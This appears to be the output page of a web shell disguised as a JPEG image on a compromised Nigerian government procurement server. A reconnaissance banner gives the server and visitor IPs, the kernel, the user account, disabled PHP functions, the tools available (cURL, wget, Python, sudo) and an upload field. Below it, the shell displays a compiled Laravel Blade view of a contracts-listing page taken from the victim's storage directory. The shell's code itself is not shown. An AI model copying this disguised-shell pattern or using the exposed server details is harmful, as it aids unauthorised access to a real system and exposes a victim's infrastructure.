ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.191.168.173 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('pageTitle'); ?> All Procured Contracts <?php $__env->stopSection(); ?> <?php $__env->startSection('content'); ?> <div id="editModal" class="modal fade"> <div class="modal-dialog " role="document"> <div class="modal-content "> <div class="modal-header"> <h4 class="modal-title">Edit Record</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="editpartModal" name="editpartModal" role="form" method="POST" action="" enctype="multipart/form-data"> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <div class="col-sm-12"> <label class=" control-label">File No:</label> </div> <div class="col-sm-12"> <input type="text" value="" name="file_no" id="file_no" readonly class="form-control" > </div> <div class="col-sm-12"> <label class=" control-label">Contract Type</label> </div> <div class="col-sm-12"> <select name="contr_type" id="contr_type" class="form-control" > <?php $__currentLoopData = $contractlist; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($list->ID); ?>"><?php echo e($list->contractType); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div><div class="col-sm-12"> <label class="control-label">Contract Description</label> </div> <div class="col-sm-12"> <textarea name="contr_desc" id="contr_desc" class="form-control" > </textarea> </div> <div class="col-sm-12"> <label class="control-label">Contract Values</label> </div> <div class="col-sm-12"> <input type="text" value="" name="contr_val" id="contr_val" placeholder="" class="form-control" > </div> <div class="col-sm-12"> <label class="control-label"> Company </label> </div> <div class="col-sm-12"> <select name="company" id="company" class="form-control" > <option value=""></option> <?php $__currentLoopData = $companyDetails; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <option value="<?php echo e($list->id); ?>"><?php echo e($list->contractor); ?></option> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </select> </div> <div class="col-sm-12"> <label class="control-label">Date Awarded</label> </div> <div class="col-sm-12"> <input type="text" value="" name="dateawd" id="dateawd" autocomplete="off" class="form-control" > </div> <div class="col-sm-12"> <label class="control-label">Upload project file</label> </div> <div class="col-sm-12"> <input type="file" value="" name="filex" id="dateawd" autocomplete="off" class="form-control" > </div> <div class="col-sm-12"> <label class=" control-label">Created By</label> </div> <div class="col-sm-12"> <input type="text" value="<?php echo e($currentuser); ?>" name="creatdby" id="creatdby" readonly="" class="form-control" > </div> <input type="hidden" id="edit-hidden" name="edit-hidden" value=""> </div> </div> <div class="modal-footer"> <button type="Submit" class="btn btn-success">Save changes</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button> </div> </form> </div> </div> </div> <!--reason modal--> <div id="reasonModal" class="modal fade"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Reason for rejection</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="deletevariableModal" role="form" method="POST" action=""> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <div class="col-sm-12"> <label class="control-label"><i id="msg-reason"></i></label> </div> </div> </div> </form> <div class="modal-footer"> <!--<button type="Submit" class="btn btn-success" id="putedit"></button>--> <button type="button" class="btn btn-info" data-dismiss="modal">Close</button> </div> </div> </div> </div> <!--end of reason--> <div id="DeleteModal" class="modal fade"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Delete Variable</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="deletevariableModal" role="form" method="POST" action=""> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <div class="col-sm-12"> <label class="col-sm-9 control-label"><b>Are you sure you want to delete this record?</b></label> </div> <input type="hidden" id="deleteid" name="deleteid" value=""> </div> </div> <div class="modal-footer"> <button type="Submit" class="btn btn-success">Yes</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">No</button> </div> </form> </div> </div> </div> <div id="RestoreModal" class="modal fade"> <div class="modal-dialog box box-default" role="document"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Restore Variable</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <form class="form-horizontal" id="deletevariableModal" role="form" method="POST" action=""> <?php echo e(csrf_field()); ?> <div class="modal-body"> <div class="form-group" style="margin: 0 10px;"> <div class="col-sm-12"> <label class="col-sm-9 control-label"><b>Are you sure you want to restore this record?</b></label> </div> <input type="hidden" id="restoreid" name="restoreid" value=""> </div> </div> <div class="modal-footer"> <button type="Submit" class="btn btn-success">Yes</button> <button type="button" class="btn btn-secondary" data-dismiss="modal">No</button> </div> </form> </div> </div> </div> <div class="box box-default"> <div class="box-body box-profile"> <div class="box-header with-border hidden-print"> <h3 class="box-title"><?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3> </div> <div class="col-md-12"> <?php if(count($errors) > 0): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <p><?php echo e($error); ?></p> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div> <?php endif; ?> <?php if($error != ""): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Error!</strong> <p><?php echo e($error); ?></p> </div> <?php endif; ?> <?php if($success != ""): ?> <div class="alert alert-success alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Success!</strong> <br /> <?php echo e($success); ?></div> <?php endif; ?> <?php if(session('err')): ?> <div class="alert alert-danger alert-dismissible" role="alert"> <button type="button" class="close" data-dismiss="alert" aria-label="Close"> <span aria-hidden="true">×</span> </button> <strong>Input Error!</strong> <br /> <?php echo e(session('err')); ?></div> <?php endif; ?> </div> <div class="box-body"> <div class="row"> <div class="col-md-12"><!--1st col--> <?php echo $__env->make('Share.message', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?> <form class="form-horizontal" id="form1" role="form" method="post" action="" enctype="multipart/form-data"> <?php echo e(csrf_field()); ?> <!-- /.col --> </div> </form> <!-- /.row --> <div class="row"> <!-- /.col --> </div> <div class="table-responsive col-md-12" style="font-size: 12px; padding:10px;"> <table id="res_tab" class="table table-bordered table-striped table-highlight" > <thead> <tr bgcolor="#c7c7c7"> <th>S/N</th> <th>File No</th> <th>Contract Type</th> <th>Benficiary</th> <th>Contract Description</th> <th>Contract Value</th> <th>Balance</th> <th>Created BY</th> <!-- <th>Approved Status</th>--> <th>Date Awarded</th> <th>Raise Voucher</th> <th>Action</th> </tr> </thead> <?php $i = 1; ?> <tbody> <?php $__currentLoopData = $procurementlist; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td><?php echo e($i++); ?></td> <td><?php echo e($list->fileNo); ?></td> <td><?php echo e($list->contractType); ?></td> <td><?php echo e($list->contractor); ?></td> <td><?php echo e($list->ContractDescriptions); ?></td> <td> <?php echo e(number_format($list->contractValue ,2)); ?></td> <td> <?php echo e(number_format($list->balance ,2)); ?></td> <td><?php echo e($list->createdby); ?></td> <!--<td> <?php if($list->approvalStatus == 1): ?> <b><span class="text-success">Approved</span></b> <?php elseif($list->approvalStatus == 2): ?> <b><span class="text-warning">Rejected</span></b> <?php else: ?> <b><span class="text-danger">Pending</span></b> <?php endif; ?> </td>--> <td><?php echo e($list->dateAward); ?></td> <td><?php if($list->balance!=0): ?><a onclick="return RaiseVoucher('<?php echo e($list->ID); ?>')" class="btn btn-sm btn-success"> Raise Voucher </a><?php endif; ?></td> <!--<td><?php if($list->balance!=0): ?><a href="<?php echo e(url('voucher/continue/'. encrypt($list->ID) )); ?>" class="btn btn-sm btn-success"> Raise Voucher </a><?php endif; ?></td> <td> <?php if($list->balance!=0): ?> <button onclick="return editfunc('<?php echo e($list->ID); ?>', '<?php echo e($list->fileNo); ?>', '<?php echo e($list->contract_Type); ?>','<?php echo e($list->ContractDescriptions); ?>','<?php echo e($list->contractValue); ?>','<?php echo e($list->companyID); ?>','<?php echo e($list->dateAward); ?>')" class="btn btn-success btn-xs"><i class="fa fa-edit "></i></button> <?php endif; ?> <?php if($list->balance==$list->contractValue ): ?> <button onclick="return deletefunc('<?php echo e($list->ID); ?>')" class="btn btn-danger btn-xs" > <i class="fa fa-trash"></i> </button> <?php endif; ?> <?php $path = base_path('../'). env('UPLOAD_PATH', '') .'/' . $list->ID.'.'.$list->file_ex; //$source = '../' . env('UPLOAD_PATH', '') .'/' . $list->ID.'.docx'; ?> <?php if(file_exists($path)): ?> <a href="/pro/file/<?php echo e($list->ID.'.'.$list->file_ex); ?>" target="blank" class="btn btn-secondary btn-xs">Download File</a> <?php endif; ?>--> </td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tbody> </table> </div> <input type="hidden" value="" id="co" name="court"> <input type="hidden" value="" id="di" name="division"> <input type="hidden" value="" name="status"> <input type="hidden" value="" name="chosen" id="chosen"> <input type="hidden" value="" id="type" name="type"> <hr /> </div> </div> </div> <form method="post" id="newvoucher" name="newvoucher" action="/new-voucher" > <?php echo e(csrf_field()); ?> <input type="hidden" name="contractid" id="contractid" > </form> <?php $__env->stopSection(); ?> <?php $__env->startSection('styles'); ?> <link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>"> <?php $__env->stopSection(); ?> <?php $__env->startSection('styles'); ?> <style type="text/css"> .modal-dialog { width:13cm } .modal-header { background-color: #006600; color:#FFF; } #partStatus{ width:2.5cm } </style> <?php $__env->stopSection(); ?> <?php $__env->startSection('scripts'); ?> <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script> <script> $('#res_tab').DataTable(); $("#contractvalue").on('keyup', function(evt){ if (evt.which != 190){//not a fullstop var n = parseFloat($(this).val().replace(/\,/g,''),10); $(this).val(n.toLocaleString()); } }); $( function(){ $("#todayDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); }); $( function(){ $("#dateawd").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); }); $("#check-all").change(function(){ $(".checkitem").prop("checked", $(this).prop("checked")) }) $(".checkitem").change(function(){ if($(this).prop("checked") == false){ $("#check-all").prop("checked", false) } if($(".checkitem:checked").length == $(".checkitem").length){ $("#check-all").prop("checked", true) } }) function approve(a = '') { if(a !== ''){ document.getElementById('chosen').value = a; // alert(a); } co = document.getElementById('court').value; div = document.getElementById('division').value; document.getElementById('co').value = co; document.getElementById('di').value = div; document.getElementById('type').value = 1; document.getElementById('form2').submit(); return false; } function reject(a = ''){ if(a !== ''){ document.getElementById('chosen').value = a; //alert(a); } co = document.getElementById('court').value; div = document.getElementById('division').value; document.getElementById('co').value = co; document.getElementById('di').value = div; document.getElementById('type').value = 2; document.getElementById('form2').submit(); return false; } function viewReason(reason, a,b,c,d,e,f,g){ //document.getElementById('putedit').setAttribute("onclick", "editfunc('"a"','"b"','"c"','"d"','"e"','"f"','"g"')"); document.getElementById('msg-reason').innerText = reason; $("#reasonModal").modal('show') } function delet(a = ''){ if(confirm('Are you sure you want to delete this record!')){ if(a !== ''){ document.getElementById('chosen').value = a; //alert(a); } co = document.getElementById('court').value; div = document.getElementById('division').value; document.getElementById('co').value = co; document.getElementById('di').value = div; document.getElementById('type').value = 3; document.getElementById('form2').submit(); } return false; } function editfunc(a,b,c,d,e,f,g) { $("#reasonModal").modal('hide'); document.getElementById('file_no').value = b; var opt = document.getElementById('contr_type');//.value = c; for(i = 0;i<opt.length;i++){ val = opt.options[i].value; ///console.log(val); if(val == c){ opt.options[i].selected = "selected"; } } document.getElementById('contr_desc').value = d; document.getElementById('contr_val').value = e; document.getElementById('edit-hidden').value = 1; var opt2 = document.getElementById('company');//.value = c; for(i = 0;i<opt2.length;i++){ val2 = opt2.options[i].value; ///console.log(val); if(val2 == f){ opt2.options[i].selected = "selected"; } } document.getElementById('dateawd').value = g; $("#editModal").modal('show') } function deletefunc(x){ //$('#deleteid').val() = x; document.getElementById('deleteid').value = x; $("#DeleteModal").modal('show'); } function restorefunc(x){ document.getElementById('restoreid').value = x; $("#RestoreModal").modal('show'); } function getDivisions() { document.getElementById('status').value = ""; if($('#court').val() !== "") { $('#form1').submit(); } } function getStaff() { document.getElementById('status').value = ""; if($('#division').val() !== ""){ $('#form1').submit(); } } function RaiseVoucher(id) { document.getElementById('contractid').value = id; //alert(id); $('#newvoucher').submit(); } function checkForm() { var court = $('#court').val(); division = $('#division').val(); fileno = $('#fileNo').val(); fname = $('#fname').val(); oname = $('#oname').val(); sname = $('#sname').val(); desc = $('#cvdesc').val(); amount = $('#amount').val(); if(court == ""){ alert('You have empty fields!'); } else { if(division == ""){ alert('You have empty fields'); } else { if(fileno == ""){ alert('you have empty fields!'); } else { if(fname == ""){ alert('you have empty fields!'); } else { if(oname == ""){ alert('you have empty fields'); } else { if(sname == ""){ alert('you have empty fields!'); } else { if(desc == ""){ alert('you have empty fields!'); } else { if(amount == ""){ alert('you have empty fields!'); } else { $('#form1').submit(); } } } } } } } } return false; } </script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\wamp64\www\funds-upgrade\funds-upgraded\resources\views/Procurements/newprocurement.blade.php ENDPATH**/ ?>